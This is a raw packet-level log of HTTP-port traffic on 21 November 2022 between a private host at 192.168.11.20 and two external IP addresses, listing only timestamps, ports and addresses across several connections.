Nov 21, 2022 19:22:47.718328953 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.718545914 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.879312038 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.879607916 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.879729986 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.879800081 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.879846096 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.879893064 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.879957914 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.880059004 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.880105972 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.880129099 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.880151987 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.880198002 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.880258083 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.880467892 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.880522966 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.880567074 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.880613089 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.041672945 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.041748047 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.041985989 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.042054892 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.042100906 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.042360067 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192204952 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192226887 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192244053 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192260027 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192276955 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192333937 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192349911 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192364931 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192379951 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192393064 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192406893 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:48.192500114 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:48.192629099 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:48.565336943 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:49.581193924 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:49.743707895 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:49.743947029 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:49.744021893 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:49.906383038 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061022043 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061095953 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061151028 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061203957 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061291933 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061353922 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061398983 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.061399937 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.061407089 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061460972 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061534882 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061570883 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.061598063 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.061914921 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.061914921 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.224834919 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.224869013 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.224908113 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.224931955 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.224991083 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225043058 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225064993 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225085974 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225106955 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225125074 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.225142956 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225163937 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225184917 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225205898 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225227118 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225246906 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225312948 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225333929 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225353956 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225390911 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225411892 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.225495100 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.225668907 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.387132883 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.387151003 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.387267113 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.387281895 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.387312889 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.387330055 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.387341976 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.387351990 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:50.387532949 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.387700081 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.387845993 CET	49871	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:50.550295115 CET	80	49871	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:55.545722961 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.588068962 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.588407993 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.588579893 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.630935907 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633491993 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633565903 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633621931 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633675098 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633728027 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633780956 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633831978 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633847952 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.633886099 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633940935 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.633990049 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.633990049 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.633996964 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.634207964 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.634376049 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.676619053 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.676851988 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.676944971 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677027941 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677115917 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677177906 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677201986 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.677239895 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677301884 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677361965 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677375078 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.677423000 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677485943 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677546978 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677545071 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.677546024 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.677728891 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677726984 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.677736044 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677740097 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677803040 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677887917 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.677922010 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677927971 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677989006 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.677992105 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.678050995 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.678116083 CET	80	49872	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:55.678167105 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.678167105 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.678329945 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:55.678498983 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:56.594852924 CET	49872	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.610505104 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.654927015 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.655268908 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.655339956 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.699955940 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702039003 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702164888 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702222109 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702275991 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702328920 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702382088 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702435017 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702435970 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.702487946 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702491999 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.702541113 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702594995 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.702626944 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.702677011 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.702830076 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.747051001 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.747123957 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.747430086 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.748660088 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.748732090 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.748961926 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.752087116 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.752156973 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.752348900 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.755475044 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.755546093 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.755821943 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.757834911 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.757908106 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.758116007 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.759983063 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.760054111 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.760225058 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.762245893 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.762327909 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.762590885 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.764559031 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.764657974 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.765170097 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.766854048 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.766957998 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.767278910 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.769081116 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.769176006 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.769359112 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:57.771332979 CET	80	49873	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:57.771662951 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:58.657083988 CET	49873	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.672492981 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.717590094 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.717775106 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.718462944 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.718485117 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.763839960 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.763900995 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.763936996 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.763976097 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.764023066 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.764064074 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.764189959 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.764267921 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.764475107 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.764657974 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.809842110 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.809927940 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.809987068 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810044050 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810089111 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.810100079 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810158014 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810173035 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.810214043 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810271025 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810324907 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810378075 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810406923 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.810435057 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810491085 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810545921 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810602903 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810658932 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810718060 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.810772896 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856245995 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856360912 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856425047 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856481075 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856537104 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856591940 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856646061 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856700897 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856755018 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.856810093 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859210014 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859307051 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859385014 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859453917 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859509945 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859563112 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859564066 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.859615088 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.859633923 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859689951 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859743118 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859755039 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.859812021 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.859915972 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.859978914 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.905247927 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.905344009 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.905599117 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.907133102 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.907222986 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.907596111 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.911005974 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.911103010 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.911356926 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.914125919 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.914222002 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.914437056 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.916409969 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.916481018 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.916743994 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.918647051 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.918719053 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.918982029 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.920985937 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.921088934 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.921428919 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.923218966 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.923290014 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.923499107 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.925630093 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.925710917 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.925910950 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.927824020 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.927937031 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.928113937 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:22:59.930232048 CET	80	49874	195.24.68.23	192.168.11.20
Nov 21, 2022 19:22:59.930403948 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:00.718975067 CET	49874	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.734949112 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.782829046 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.783102989 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.783169031 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.830826044 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.843957901 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844044924 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844110966 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844172955 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844233990 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844299078 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844402075 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844465971 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844508886 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.844510078 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.844527960 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844592094 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.844721079 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.844779015 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.892462015 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.892581940 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.892647982 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.892724037 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.892787933 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.892858028 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.892920017 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.892941952 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.892982006 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893060923 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893125057 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893140078 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.893208027 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893220901 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.893271923 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893332958 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893341064 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.893404961 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893466949 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893534899 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893583059 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.893583059 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.893596888 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893660069 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893731117 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893793106 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.893798113 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.893857002 CET	49875	80	192.168.11.20	195.24.68.23
